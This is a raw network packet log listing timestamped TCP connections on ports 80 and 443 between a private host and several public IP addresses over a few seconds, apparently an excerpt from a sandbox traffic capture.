Jan 12, 2025 09:27:17.533195019 CET	50305	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.533216953 CET	50305	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.533328056 CET	443	50305	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:17.533370972 CET	50305	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.533734083 CET	50306	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.540226936 CET	80	50306	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:17.540303946 CET	50306	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.540326118 CET	50306	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.545123100 CET	80	50306	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:17.738234997 CET	80	50304	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.738476038 CET	50304	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.739248037 CET	50307	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.739284992 CET	443	50307	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.739310980 CET	80	50304	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.739392042 CET	50307	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.739392042 CET	50307	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.739407063 CET	50304	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.739567995 CET	443	50307	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.739716053 CET	50307	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.739849091 CET	50308	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.743345022 CET	80	50304	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.744694948 CET	80	50308	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.744774103 CET	50308	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.744788885 CET	50308	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.749664068 CET	80	50308	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.993443012 CET	80	50306	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:17.993557930 CET	50306	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.993757963 CET	80	50306	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:17.993855000 CET	50306	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.994510889 CET	50309	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.994538069 CET	443	50309	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.994621992 CET	50309	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.994656086 CET	50309	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.994760036 CET	443	50309	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.994844913 CET	50309	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.995251894 CET	50310	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.998743057 CET	80	50306	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:18.001029968 CET	80	50310	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:18.001112938 CET	50310	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:18.001146078 CET	50310	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:18.006721973 CET	80	50310	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:18.194657087 CET	80	50308	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.194823027 CET	50308	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.195039034 CET	80	50308	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.195095062 CET	50308	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.198139906 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.198199034 CET	443	50313	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:18.198441029 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.199220896 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.199234962 CET	443	50313	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:18.199635029 CET	80	50308	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.455535889 CET	80	50310	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:18.455600023 CET	80	50310	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:18.457256079 CET	50310	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:18.457371950 CET	50310	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:18.458014965 CET	50314	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.458076000 CET	443	50314	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.458172083 CET	50314	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.458259106 CET	50314	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.458301067 CET	443	50314	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.458594084 CET	50314	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.458610058 CET	50315	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.462236881 CET	80	50310	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:18.463469982 CET	80	50315	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.465636015 CET	50315	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.465682030 CET	50315	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.470527887 CET	80	50315	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.674870014 CET	443	50313	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:18.674957037 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.675909996 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.676037073 CET	443	50313	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:18.676112890 CET	50313	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:18.676465034 CET	50316	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.676507950 CET	443	50316	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:18.676588058 CET	50316	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.676625013 CET	50316	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.676709890 CET	443	50316	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:18.677191019 CET	50317	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.677195072 CET	50316	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.682024956 CET	80	50317	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:18.682122946 CET	50317	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.682122946 CET	50317	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:18.687010050 CET	80	50317	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:18.937992096 CET	80	50315	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.938266039 CET	80	50315	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.942250967 CET	50315	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.961179972 CET	50315	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:18.962173939 CET	50318	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.962249041 CET	443	50318	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.962356091 CET	50318	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.962393045 CET	50318	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.962574959 CET	443	50318	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.962816000 CET	50319	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.962850094 CET	50318	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.966048002 CET	80	50315	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:18.967741013 CET	80	50319	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:18.967835903 CET	50319	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.967952967 CET	50319	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:18.972773075 CET	80	50319	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:19.165075064 CET	80	50317	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:19.165597916 CET	80	50317	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:19.165663004 CET	50317	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:19.165884972 CET	50317	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:19.170734882 CET	80	50317	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:19.174521923 CET	50320	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.174619913 CET	443	50320	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.174717903 CET	50320	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.178656101 CET	50320	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.178750038 CET	443	50320	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.178823948 CET	50320	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.183300972 CET	50321	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.188251019 CET	80	50321	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.188384056 CET	50321	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.192089081 CET	50321	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.196894884 CET	80	50321	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.425389051 CET	80	50319	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:19.425479889 CET	50319	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:19.425678015 CET	80	50319	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:19.425729036 CET	50319	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:19.430299044 CET	80	50319	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:19.548074961 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:19.548115015 CET	443	50324	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:19.548187971 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:19.558383942 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:19.558403969 CET	443	50324	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:19.642623901 CET	80	50321	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.642874956 CET	80	50321	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.642963886 CET	50321	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.643251896 CET	50321	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:19.643804073 CET	50325	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.643841028 CET	443	50325	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:19.643918991 CET	50325	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.646356106 CET	50325	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.646414995 CET	443	50325	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:19.646534920 CET	50325	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.648108006 CET	80	50321	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:19.666008949 CET	50326	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.670918941 CET	80	50326	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:19.670986891 CET	50326	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.683811903 CET	50326	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:19.688654900 CET	80	50326	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:20.041650057 CET	443	50324	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:20.041836977 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.063260078 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.063472033 CET	443	50324	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:20.063572884 CET	50324	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.144347906 CET	80	50326	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:20.144515038 CET	80	50326	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:20.144587994 CET	50326	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:20.144958973 CET	50326	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:20.145634890 CET	50327	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.145669937 CET	443	50327	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.145747900 CET	50327	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.149813890 CET	80	50326	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:20.187712908 CET	50327	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.187773943 CET	443	50327	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.187841892 CET	50327	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.245805979 CET	50328	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.245843887 CET	443	50328	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.245920897 CET	50328	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.245991945 CET	50328	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.246042967 CET	443	50328	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.246103048 CET	50328	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.246516943 CET	50329	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.251394987 CET	80	50329	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.251457930 CET	50329	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.251477957 CET	50329	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.256298065 CET	80	50329	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.318228960 CET	50330	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.323178053 CET	80	50330	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.323241949 CET	50330	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.323273897 CET	50330	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.328123093 CET	80	50330	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.726183891 CET	80	50329	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.726289988 CET	50329	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.726428986 CET	80	50329	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.726480961 CET	50329	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:20.726943016 CET	50331	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.726978064 CET	443	50331	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:20.727050066 CET	50331	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.727080107 CET	50331	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.727238894 CET	443	50331	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:20.727304935 CET	50331	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.727343082 CET	50332	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.731121063 CET	80	50329	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:20.732168913 CET	80	50332	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:20.732228994 CET	50332	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.732248068 CET	50332	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:20.737078905 CET	80	50332	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:20.787805080 CET	80	50330	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.787832975 CET	80	50330	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:20.787975073 CET	50330	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.788121939 CET	50330	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:20.790400028 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.790440083 CET	443	50335	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:20.790515900 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.790920019 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:20.790939093 CET	443	50335	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:20.792875051 CET	80	50330	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:21.186387062 CET	80	50332	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.186471939 CET	50332	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.186954021 CET	50336	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.186980963 CET	443	50336	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.186990976 CET	80	50332	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.187062025 CET	50336	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.187087059 CET	50332	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.187087059 CET	50336	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.187199116 CET	443	50336	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.187259912 CET	50336	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.187500954 CET	50337	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.191309929 CET	80	50332	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.192404985 CET	80	50337	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.192468882 CET	50337	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.192483902 CET	50337	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.197350979 CET	80	50337	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.272078991 CET	443	50335	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:21.272176981 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:21.273154974 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:21.273376942 CET	443	50335	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:21.273591042 CET	50338	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.273600101 CET	50335	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:21.273613930 CET	443	50338	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.273675919 CET	50338	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.273701906 CET	50338	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.273736954 CET	443	50338	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.273926973 CET	50339	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.273947001 CET	50338	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.278754950 CET	80	50339	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.282325983 CET	50339	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.282342911 CET	50339	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.287169933 CET	80	50339	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.664077044 CET	80	50337	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.664803982 CET	80	50337	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.664899111 CET	50337	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.664993048 CET	50337	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:21.665467024 CET	50340	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.665494919 CET	443	50340	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:21.665560961 CET	50340	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.665582895 CET	50340	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.665731907 CET	443	50340	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:21.665980101 CET	50341	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.665990114 CET	50340	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.669800043 CET	80	50337	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:21.670778036 CET	80	50341	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:21.670857906 CET	50341	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.670886040 CET	50341	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:21.675661087 CET	80	50341	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:21.729758024 CET	80	50339	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.729851007 CET	50339	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.730314016 CET	80	50339	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.730366945 CET	50339	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:21.730413914 CET	50342	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.730442047 CET	443	50342	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.730509996 CET	50342	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.730542898 CET	50342	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.730638981 CET	443	50342	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.730910063 CET	50343	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.730932951 CET	50342	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.734718084 CET	80	50339	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:21.735802889 CET	80	50343	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:21.739123106 CET	50343	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.739140987 CET	50343	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:21.743942022 CET	80	50343	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:22.121372938 CET	80	50341	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.121484995 CET	50341	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.121654034 CET	80	50341	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.121702909 CET	50341	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.123759031 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.123859882 CET	443	50346	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:22.123958111 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.124351025 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.124391079 CET	443	50346	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:22.126286030 CET	80	50341	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.195008039 CET	80	50343	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:22.195085049 CET	50343	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:22.195482016 CET	50347	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.195501089 CET	443	50347	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.195554018 CET	50347	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.195576906 CET	50347	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.195621014 CET	443	50347	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.195662975 CET	50347	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.196074009 CET	50348	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.196464062 CET	80	50343	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:22.196508884 CET	50343	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:22.199914932 CET	80	50343	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:22.200977087 CET	80	50348	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.201083899 CET	50348	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.201083899 CET	50348	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.205928087 CET	80	50348	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.592453003 CET	443	50346	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:22.592664003 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.593842030 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.593991995 CET	443	50346	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:22.594072104 CET	50346	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:22.594501972 CET	50349	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.594543934 CET	443	50349	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:22.594624043 CET	50349	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.594660044 CET	50349	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.594741106 CET	443	50349	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:22.594790936 CET	50349	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.595120907 CET	50350	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.599970102 CET	80	50350	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:22.600054026 CET	50350	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.600091934 CET	50350	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:22.604927063 CET	80	50350	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:22.687138081 CET	80	50348	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.687407970 CET	50348	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.687588930 CET	80	50348	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.687664032 CET	50348	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:22.688107014 CET	50351	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.688138008 CET	443	50351	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.688225985 CET	50351	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.688256025 CET	50351	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.688369989 CET	443	50351	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.688429117 CET	50351	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.688678026 CET	50352	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.692313910 CET	80	50348	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:22.693571091 CET	80	50352	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:22.693659067 CET	50352	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.693713903 CET	50352	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:22.698488951 CET	80	50352	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:23.078497887 CET	80	50350	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.078624964 CET	50350	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.078799963 CET	80	50350	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.078862906 CET	50350	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.079480886 CET	50353	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.079530001 CET	443	50353	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.079610109 CET	50353	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.079643011 CET	50353	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.079731941 CET	443	50353	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.079780102 CET	50353	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.080125093 CET	50354	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.083493948 CET	80	50350	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.084995031 CET	80	50354	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.085052013 CET	50354	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.085103035 CET	50354	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.089895010 CET	80	50354	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.140355110 CET	80	50352	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:23.140446901 CET	50352	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:23.140894890 CET	80	50352	104.21.64.1	192.168.2.7
